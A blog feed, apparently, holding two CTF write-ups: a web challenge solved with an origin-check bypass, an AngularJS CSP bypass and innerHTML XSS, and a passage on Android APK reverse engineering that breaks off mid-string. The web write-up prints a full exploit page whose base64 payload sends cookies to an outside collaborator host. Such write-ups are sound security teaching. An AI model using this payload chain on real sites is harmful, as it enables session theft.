<span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">'</span><span class="dl">"</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">&</span><span class="dl">"</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">|</span><span class="dl">"</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">%</span><span class="dl">"</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">@</span><span class="dl">"</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">!</span><span class="dl">"</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">#</span><span class="dl">"</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="nx">msg</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">^</span><span class="dl">"</span><span class="p">)</span>
<span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">broadcastList</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">broadcastList</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">newBroadCast</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">"</span><span class="s2">div</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">newBroadCast</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span>
<span class="dl">'</span><span class="s1"><li class="list-group-item d-flex justify-content-between lh-condensed"><h6 class="my-0"></span><span class="dl">'</span> <span class="o">+</span>
<span class="nx">msg</span> <span class="o">+</span>
<span class="dl">"</span><span class="s2"></h6></li></span><span class="dl">"</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span><span class="nx">newBroadCast</span><span class="p">.</span><span class="nx">firstChild</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">broadcastList</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">newBroadCast</span><span class="p">.</span><span class="nx">firstChild</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>The iFrame embeds another JavaScript resource, upon receiving a message, it checks the origin of the event and looks for restricted characters before displaying the message. There are two main issues here:</p>
<p><strong><em>Insufficient origin check</em></strong></p>
<p>Firstly, we can notice that the origin check is insufficient since it doesn’t ensure that it checks against the full origin and not just the prefix of the origin.</p>
<p>For example, a regular expression of <code class="language-plaintext highlighter-rouge">^http:\/\/example.sg</code> will return true against a URL of <code class="language-plaintext highlighter-rouge">http://example.sg.evil.com</code>, and thus, it is possible to bypass the origin check.</p>
<p><strong><em>HTML Injection/Cross-site Scripting</em></strong></p>
<p>Secondly, the message data is then injected using <code class="language-plaintext highlighter-rouge">innerHTML</code> which would render any HTML element, resulting in XSS. The saving grace here is that your payload is restricted to the list of blacklisted characters that is checked before the content is injected.</p>
<h3 id="hypothesis">Hypothesis</h3>
<p>I was stumped for a bit as it wasn’t immediately obvious where the flag is located or what the next steps were, however, if we take a step back to analyze at what we have, we can hypothesis where the flag could be located.</p>
<ol>
<li>In feature #1, the HTTP request is made with a headless chrome, this could imply that certain interaction with the browser might be needed (running JavaScript, service workers, etc).</li>
<li>The iframe in feature #2 allows iframing from a different origin, and the insufficient origin check seems to imply that we have to do that. On top of that, the XSS issue further implies that we might need to exploit it in order to get the flag (flag in cookie or some storage accessible from JavaScript).</li>
</ol>
<p><strong>With that, I seek out to test my hypothesis.</strong></p>
<h3 id="exploitation">Exploitation</h3>
<p>I created a simple webpage located at <code class="language-plaintext highlighter-rouge">http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg.mydomain.com/exploit.html</code> in order to bypass the origin check and with the following content.</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><script></span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">broadcasts</span><span class="dl">'</span><span class="p">).</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="dl">'</span><span class="s1"><img</span><span class="se">\t</span><span class="s1">src=e</span><span class="se">\t</span><span class="s1">onerror=alert()></span><span class="dl">'</span><span class="p">,</span> <span class="dl">"</span><span class="s2">*</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt"></script></span>
<span class="nt"><iframe</span> <span class="na">name=</span><span class="s">"broadcasts"</span> <span class="na">id=</span><span class="s">"broadcasts"</span> <span class="na">frameBorder=</span><span class="s">"0"</span> <span class="na">src=</span><span class="s">"http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts"</span><span class="nt">></iframe></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>With that, we can test that the HTML injection and origin check bypass does indeed work, however, we are now stumped by the content security policy specified in the iFrame’ed page.</p>
<figure class="highlight"><pre><code class="language-linenos" data-lang="linenos"><meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'"></code></pre></figure>
<p>The CSP is defined using the meta element, and allows script resources from it’s own origin as well as unsafe-eval, and looking at the script resources available to us, we can quickly observe that this CSP can be bypassed using the AngularJS v1.5.6 library. <a href="https://portswigger.net/research/angularjs-csp-bypass-in-56-characters">This is a good blog for a quick start on this topic</a>.</p>
<p>CSP Bypasss Payload: <code class="language-plaintext highlighter-rouge"><input id=x ng-focus=$event.path|orderBy:'(y=alert)(1)'></code></p>
<p>However, one more obstacle, the payload needed uses some of the blacklisted characters (<code class="language-plaintext highlighter-rouge"> '&|%@!#^</code>) that the script is checking for, we need to find a way to bypass the blacklist in order to get our payload successfully injected.</p>
<p>Looking back at the iFrame JavaScript, I realized that instead of posting a string message, I could post an Array object, which when processing through the blacklist checks, will allow me to bypass entirely.</p>
<p>Example:
If <code class="language-plaintext highlighter-rouge">msg</code> was an Array object <code class="language-plaintext highlighter-rouge">['mypayload']</code>, <code class="language-plaintext highlighter-rouge">!msg.includes("|")</code> will be checking that there exists the <code class="language-plaintext highlighter-rouge">"|"</code> element in the Array, however, that doesn’t exist in my payload, and would allow me to bypass the check entirely.</p>
<p>Finally, I can craft final exploit payload:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><script></span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">broadcasts</span><span class="dl">'</span><span class="p">).</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">([</span><span class="s2">`<iframe srcdoc="<html><body id=eval(atob('dmFyIHg9ZG9jdW1lbnQuY29va2llO3ZhciBjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImltZyIpO2Muc3JjPSJodHRwOi8vY2V1dWpmYWxld2s0ZG5jN2toem44bWwweXI0aTI2ci5idXJwY29sbGFib3JhdG9yLm5ldC9mbGFnPyIreDtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGMpOw=='))><script src=http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/javascripts/angular.min.js></span><span class="nt"></script><div</span> <span class="na">ng-app</span> <span class="na">ng-csp</span><span class="nt">><div</span> <span class="na">ng-bind=</span><span class="s">x={y:''.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:'x=eval(document.body.id)'</span><span class="nt">></div></body></html></span>">`], "*");
}
<span class="nt"></script></span>
<span class="nt"><iframe</span> <span class="na">name=</span><span class="s">"broadcasts"</span> <span class="na">id=</span><span class="s">"broadcasts"</span> <span class="na">frameBorder=</span><span class="s">"0"</span> <span class="na">src=</span><span class="s">"http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts"</span><span class="nt">></iframe></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Where I made use of the CSP bypass to evaluate a base64 encoded script that I injected into the body element as an id (this made the payload writing easier without having any single-quote/double-quote restrictions).</p>
<p>The base64 encoded payload is decoded to:</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
</pre></td><td class="code"><pre><span class="kd">var</span> <span class="nx">x</span><span class="o">=</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">;</span><span class="kd">var</span> <span class="nx">c</span><span class="o">=</span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">"</span><span class="s2">img</span><span class="dl">"</span><span class="p">);</span><span class="nx">c</span><span class="p">.</span><span class="nx">src</span><span class="o">=</span><span class="dl">"</span><span class="s2">http://ceuujfalewk4dnc7khzn8ml0yr4i26r.burpcollaborator.net/flag?</span><span class="dl">"</span><span class="o">+</span><span class="nx">x</span><span class="p">;</span><span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">c</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Which exfiltrates available cookies using an image tag to an attacker-controlled webserver.</p>
<p>And we have the flag: <code class="language-plaintext highlighter-rouge">govtech-csg{V3Ni,v1dI,v!Cl}</code></p>
<h3 id="recap">Recap</h3>
<p>In order to obtain the flag, we had to perform the following bypasses:</p>
<ol>
<li>Origin check bypass</li>
<li>CSP bypass using Angular JS</li>
<li>Bypass blacklist of characters</li>
<li>HTML injection resulting in JavaScript execution</li>
</ol>
<p><a href="https://quanyang.github.io/stack-2020-you-shall-not-pass/">STACK the flags 2020 CTF - You Shall Not Pass</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on December 11, 2020.</p>
https://quanyang.github.io/h1-702-ctf-2017-write-ups2017-07-18T03:43:51+00:002017-07-18T03:43:51+00:00Yeo Quan Yanghttps://quanyang.github.io
<p><img src="https://quanyang.github.io/resources/images/h1702/position.png" alt="" /></p>
<p><a href="https://h1702ctf.com/">H1702 CTF</a> was a CTF organized by hackerone. There were 6 Android and 6 iOS reverse engineering challenges. I finished 4th.</p>
<h1 id="table-of-contents">Table of Contents</h1>
<ol>
<li><a href="#android-write-ups">Android Write ups</a>
<ol>
<li><a href="#level-1">Level 1</a></li>
<li><a href="#level-2">Level 2</a></li>
<li><a href="#level-3">Level 3</a></li>
<li><a href="#level-4">Level 4</a></li>
<li><a href="#level-5">Level 5</a></li>
<li><a href="#level-6">Level 6</a></li>
</ol>
</li>
<li><a href="#ios-write-ups">iOS Write ups</a>
<ol>
<li><a href="#level-1-1">Level 1</a></li>
<li><a href="#level-2-1">Level 2</a></li>
<li><a href="#level-3-1">Level 3</a></li>
<li><a href="#level-4-1">Level 4</a></li>
<li><a href="#level-5-1">Level 5</a></li>
<li><a href="#level-6-1">Level 6</a></li>
</ol>
</li>
</ol>
<h1 id="android-write-ups">Android Write ups</h1>
<h2 id="level-1">Level 1</h2>
<blockquote>
<p>Let’s start you off with something easy to get you started.<br />
(Note: Levels 1-4 use the same application)<br />
<a href="https://h1702ctf.com/themes/h1ctf/static/chals/ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk">ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk</a></p>
</blockquote>
<hr />
<p>Since Level 1-4 uses the same APK, I am going to do a long writeup for the 4 challenges.</p>
<p>As with any other Android challenge, the first step is to decompile the APK using apktool as well as dex2jar.</p>
<p>After which, the next step would be to look at the <code class="language-plaintext highlighter-rouge">AndroidManifest.xml</code> file. Looking at the manifest file would allow you to identify entry points.</p>
<figure class="highlight"><pre><code class="language-xml" data-lang="xml"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="code"><pre><span class="cp"><?xml version="1.0" encoding="utf-8" standalone="no"?></span>
<span class="nt"><manifest</span> <span class="na">xmlns:android=</span><span class="s">"http://schemas.android.com/apk/res/android"</span> <span class="na">package=</span><span class="s">"com.h1702ctf.ctfone"</span> <span class="na">platformBuildVersionCode=</span><span class="s">"25"</span> <span class="na">platformBuildVersionName=</span><span class="s">"7.1.1"</span><span class="nt">></span>
<span class="nt"><uses-permission</span> <span class="na">android:name=</span><span class="s">"android.permission.INTERNET"</span><span class="nt">/></span>
<span class="nt"><uses-permission</span> <span class="na">android:name=</span><span class="s">"android.permission.ACCESS_NETWORK_STATE"</span><span class="nt">/></span>
<span class="nt"><meta-data</span> <span class="na">android:name=</span><span class="s">"android.support.VERSION"</span> <span class="na">android:value=</span><span class="s">"25.3.1"</span><span class="nt">/></span>
<span class="nt"><application</span> <span class="na">android:allowBackup=</span><span class="s">"true"</span> <span class="na">android:icon=</span><span class="s">"@mipmap/ic_launcher"</span> <span class="na">android:label=</span><span class="s">"@string/app_name"</span> <span class="na">android:supportsRtl=</span><span class="s">"true"</span> <span class="na">android:theme=</span><span class="s">"@style/AppTheme"</span><span class="nt">></span>
<span class="nt"><activity</span> <span class="na">android:label=</span><span class="s">"@string/app_name"</span> <span class="na">android:name=</span><span class="s">"com.h1702ctf.ctfone.MainActivity"</span> <span class="na">android:theme=</span><span class="s">"@style/AppTheme.NoActionBar"</span><span class="nt">></span>
<span class="nt"><intent-filter></span>
<span class="nt"><action</span> <span class="na">android:name=</span><span class="s">"android.intent.action.MAIN"</span><span class="nt">/></span>
<span class="nt"><category</span> <span class="na">android:name=</span><span class="s">"android.intent.category.LAUNCHER"</span><span class="nt">/></span>
<span class="nt"></intent-filter></span>
<span class="nt"></activity></span>
<span class="nt"><activity</span> <span class="na">android:exported=</span><span class="s">"true"</span> <span class="na">android:name=</span><span class="s">"com.h1702ctf.ctfone.Level3Activity"</span><span class="nt">/></span>
<span class="nt"></application></span>
<span class="nt"></manifest></span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>In this case, there is two other files we should focus on, <code class="language-plaintext highlighter-rouge">com.h1702ctf.ctfone.MainActivity</code>, the main class and <code class="language-plaintext highlighter-rouge">com.h1702ctf.ctfone.Level3Activity</code>, an additional activity class.</p>
<p>We first look at <code class="language-plaintext highlighter-rouge">com.h1702ctf.ctfone.MainActivity</code>, we can view the decoded smali code or the decompiled class file using <code class="language-plaintext highlighter-rouge">JD-GUI</code> or any other Java Decompiler you are familiar with.</p>
<p>Immediately in the <code class="language-plaintext highlighter-rouge">onCreate</code> method, we can see that two tabs are created with the labels <code class="language-plaintext highlighter-rouge">Level 1</code> and <code class="language-plaintext highlighter-rouge">Level 2</code>. Following this lead, we immediately focus onto <code class="language-plaintext highlighter-rouge">TabFragment1.class</code> to look for leads that’d allow us to solve the first challenge.</p>
<p>Again, as the class is relatively simple, it is obvious that in the <code class="language-plaintext highlighter-rouge">onCreate</code> method, a certain resource is loaded depending on the value of a text input.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre><span class="kd">public</span> <span class="kt">void</span> <span class="nf">onClick</span><span class="o">(</span><span class="nc">View</span> <span class="n">paramAnonymousView</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="nc">TabFragment1</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">mInput</span><span class="o">.</span><span class="na">getText</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span>
<span class="n">paramAnonymousView</span> <span class="o">=</span> <span class="n">str</span><span class="o">;</span>
<span class="k">if</span> <span class="o">(</span><span class="n">str</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span>
<span class="o">{</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Random</span><span class="o">().</span><span class="na">nextInt</span><span class="o">();</span>
<span class="n">paramAnonymousView</span> <span class="o">=</span> <span class="s">"asset"</span> <span class="o">+</span> <span class="o">(</span><span class="n">i</span> <span class="o">%</span> <span class="mi">10</span> <span class="o">+</span> <span class="mi">1</span><span class="o">);</span>
<span class="o">}</span>
<span class="nc">TabFragment1</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">loadDataFromAsset</span><span class="o">(</span><span class="n">paramAnonymousView</span><span class="o">);</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>We can immediately see that if the input is empty, a random asset[1-10] is loaded. Following that hint, we can browse to the assets folder to look for the flag. Just by looking at the contents of the folder, we would be able to immediately identify the asset that’d give us the flag.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre>→ <span class="nb">ls
</span>asset1
asset10
asset2
asset3
asset4
asset5
asset6
asset7
asset8
asset9
tHiS_iS_nOt_tHE_SeCrEt_lEveL_1_fiLE
</pre></td></tr></tbody></table></code></pre></figure>
<p>The first flag is immediately presented to us in the <code class="language-plaintext highlighter-rouge">tHiS_iS_nOt_tHE_SeCrEt_lEveL_1_fiLE</code> image file.</p>
<p><img src="https://quanyang.github.io/resources/images/h1702/challenge1_flag.png" alt="" /></p>
<p><img src="https://quanyang.github.io/resources/images/h1702/challenge1.png" alt="" /></p>
<p>Flag #1: <code class="language-plaintext highlighter-rouge">cApwN{WELL_THAT_WAS_SUPER_EASY}</code></p>
<h2 id="level-2">Level 2</h2>
<blockquote>
<p>Maybe something a little more difficult?</p>
</blockquote>
<p>Following what we saw in challenge 1, we can immediately focus onto <code class="language-plaintext highlighter-rouge">TabFragment2.class</code> to try to solve for challenge 2.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre><span class="kd">public</span> <span class="kt">void</span> <span class="nf">onClick</span><span class="o">(</span><span class="nc">View</span> <span class="n">paramAnonymousView</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">paramAnonymousView</span> <span class="o">=</span> <span class="nc">InCryption</span><span class="o">.</span><span class="na">hashOfPlainText</span><span class="o">();</span>
<span class="nc">TabFragment2</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">mHashView</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="n">paramAnonymousView</span><span class="o">);</span>
<span class="nc">TabFragment2</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">mHashView</span><span class="o">.</span><span class="na">setBackgroundColor</span><span class="o">(-</span><span class="mi">1</span><span class="o">);</span>
<span class="k">return</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">paramAnonymousView</span><span class="o">)</span> <span class="o">{</span>
<span class="n">paramAnonymousView</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Here we see that the method <code class="language-plaintext highlighter-rouge">hashOfPlainText</code> from the <code class="language-plaintext highlighter-rouge">InCryption</code> class is called. From the method name, it seems to be telling us that this function returns the hash of a certain Plaintext string.</p>
<p>Looking at the <code class="language-plaintext highlighter-rouge">InCryption</code> class, we can immediately recreate the class in Java to run it locally on our machine.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
</pre></td><td class="code"><pre><span class="kn">import</span> <span class="nn">java.math.BigInteger</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.MessageDigest</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.NoSuchAlgorithmException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.Cipher</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.spec.SecretKeySpec</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">Solve</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="nc">Solve</span><span class="o">.</span><span class="na">plainText</span><span class="o">());</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">static</span> <span class="nc">String</span> <span class="n">encryptedHex</span> <span class="o">=</span> <span class="s">"ec49822b5417f4dad5d6048804c07f128bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a33ad074d17c3a227d487c85b88487435c97c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25069590e37f53bebf7c16b617482a4b8ae151286044c2a8237302612c7d88c8b2ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b483469118ed906f6b3abeff55bcdc7e5a00d0d3f3cb085730e3335b7170a03ed91fca1309cccb8078e2a9100cbbeaff61e4be535b1314ecb6fb99b3985c06ae00616288270b1670f7bf609b8c9c3d62e29069590e37f53bebf7c16b617482a4b8ae151286044c2a8237302612c7d88c8b2ad074d17c3a227d487c85b88487435c9828b8963fd132831a1f74db480a35711e151286044c2a8237302612c7d88c8b2ad074d17c3a227d487c85b88487435c97c3f9992b1a3d08f43fc92f416820f950d0d3f3cb085730e3335b7170a03ed9186622d5215afd9192d1b553cba233ff2244ded87c4d06dd82895f2b20110bbadfca1309cccb8078e2a9100cbbeaff61e4be535b1314ecb6fb99b3985c06ae00616288270b1670f7bf609b8c9c3d62e29ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f953d255754f0e4004ac69e2e9b2e35ebc79ef39beaabf2ba23780e727eeb4e277a2757324dfeeb647dd2ab010b91af0bd3ad074d17c3a227d487c85b88487435c98bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a339ef39beaabf2ba23780e727eeb4e277a3cad3497d53b3c22fdd26fbb83f5cae8fe5f529bf234dcef4e76913394ae8f85244ded87c4d06dd82895f2b20110bbade57dded1cc4a151b2da4b3fa1041bc7f569f11fcae23f0661a6722466e5697ce069590e37f53bebf7c16b617482a4b8ae151286044c2a8237302612c7d88c8b29a4ef6d9c9cf8127de64c59ecc865fd89a4ef6d9c9cf8127de64c59ecc865fd8d5a6b3cf8313ced4ca89414d00adb0c2a854ed5338d047e0b65b956bd2a19fcc0d0d3f3cb085730e3335b7170a03ed91e891d349f90afb2d3f9608a7cdba0714e891d349f90afb2d3f9608a7cdba071486622d5215afd9192d1b553cba233ff216288270b1670f7bf609b8c9c3d62e299ef39beaabf2ba23780e727eeb4e277a4be535b1314ecb6fb99b3985c06ae00616288270b1670f7bf609b8c9c3d62e299a4ef6d9c9cf8127de64c59ecc865fd8ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b48ba463a67b09eb3433fb94ce2d2c5ac25069590e37f53bebf7c16b617482a4b8ac9dcd54eb33f50a80149e8457d843b84ba463a67b09eb3433fb94ce2d2c5ac25e6ff67049d59429fa81ea1d14e1a4abde5beb88aa4073a5c948816378f2cc96b87b18c9563646c0652a9efd72f29cdd33cad3497d53b3c22fdd26fbb83f5cae82d8c5c0bb95e29cee0cb0ea0db961a33ce0eef96ce210effc6a2733a73b371b10ea54646c339600f167b5dd2029ba72fe5beb88aa4073a5c948816378f2cc96b5762452778b31d42ead4f81062775b69e891d349f90afb2d3f9608a7cdba07147c3f9992b1a3d08f43fc92f416820f953d255754f0e4004ac69e2e9b2e35ebc7ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f95c8dab6841e142338fcc2d01ad0a3bce686622d5215afd9192d1b553cba233ff216288270b1670f7bf609b8c9c3d62e29ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f950d0d3f3cb085730e3335b7170a03ed91fca1309cccb8078e2a9100cbbeaff61e0f1f25bef4b7f6442b420b861ad834aac8dab6841e142338fcc2d01ad0a3bce67c3f9992b1a3d08f43fc92f416820f953469118ed906f6b3abeff55bcdc7e5a03469118ed906f6b3abeff55bcdc7e5a00d0d3f3cb085730e3335b7170a03ed91e891d349f90afb2d3f9608a7cdba071486622d5215afd9192d1b553cba233ff2244ded87c4d06dd82895f2b20110bbad828b8963fd132831a1f74db480a35711e151286044c2a8237302612c7d88c8b29a4ef6d9c9cf8127de64c59ecc865fd8d5a6b3cf8313ced4ca89414d00adb0c22d8c5c0bb95e29cee0cb0ea0db961a33ad074d17c3a227d487c85b88487435c9828b8963fd132831a1f74db480a35711c9dcd54eb33f50a80149e8457d843b845bd9ba2fb7cea981a019c784939dfd0587b18c9563646c0652a9efd72f29cdd328d63f46073aec9a139375fd6d2917d3e5beb88aa4073a5c948816378f2cc96b87b18c9563646c0652a9efd72f29cdd30f1f25bef4b7f6442b420b861ad834aa41c1b4f70e10af5fa9e82a2b773ea7070ea54646c339600f167b5dd2029ba72fe5beb88aa4073a5c948816378f2cc96b5762452778b31d42ead4f81062775b697c3f9992b1a3d08f43fc92f416820f953469118ed906f6b3abeff55bcdc7e5a05bd9ba2fb7cea981a019c784939dfd055762452778b31d42ead4f81062775b69e891d349f90afb2d3f9608a7cdba0714fca1309cccb8078e2a9100cbbeaff61e2757324dfeeb647dd2ab010b91af0bd3ad074d17c3a227d487c85b88487435c9828b8963fd132831a1f74db480a35711e151286044c2a8237302612c7d88c8b29a4ef6d9c9cf8127de64c59ecc865fd8d5a6b3cf8313ced4ca89414d00adb0c2fc59c44e8f481760ef82750176f42291fb7648043fce2338843c67eae566b35c8bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a33ec49822b5417f4dad5d6048804c07f12828b8963fd132831a1f74db480a3571116d696017b13e85d5aaf28d6ac7c3d315762452778b31d42ead4f81062775b698bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a339a4ef6d9c9cf8127de64c59ecc865fd8ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b48ba463a67b09eb3433fb94ce2d2c5ac25ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b48c8dab6841e142338fcc2d01ad0a3bce67c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25ce0eef96ce210effc6a2733a73b371b1a25c129f9071f52f674b28cff9f4ade7244ded87c4d06dd82895f2b20110bbade891d349f90afb2d3f9608a7cdba0714828b8963fd132831a1f74db480a35711c9dcd54eb33f50a80149e8457d843b843d255754f0e4004ac69e2e9b2e35ebc7e6ff67049d59429fa81ea1d14e1a4abd569f11fcae23f0661a6722466e5697ce9ef39beaabf2ba23780e727eeb4e277abea40e40b98659cafe52c74461e7015a87b18c9563646c0652a9efd72f29cdd33cad3497d53b3c22fdd26fbb83f5cae8fe5f529bf234dcef4e76913394ae8f8516288270b1670f7bf609b8c9c3d62e29ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25e6ff67049d59429fa81ea1d14e1a4abd31e2e92c15e8b3afb3b4a4344f6d37a33d255754f0e4004ac69e2e9b2e35ebc7e6ff67049d59429fa81ea1d14e1a4abd31e2e92c15e8b3afb3b4a4344f6d37a341c1b4f70e10af5fa9e82a2b773ea707a25c129f9071f52f674b28cff9f4ade7244ded87c4d06dd82895f2b20110bbad011d2d66c36261e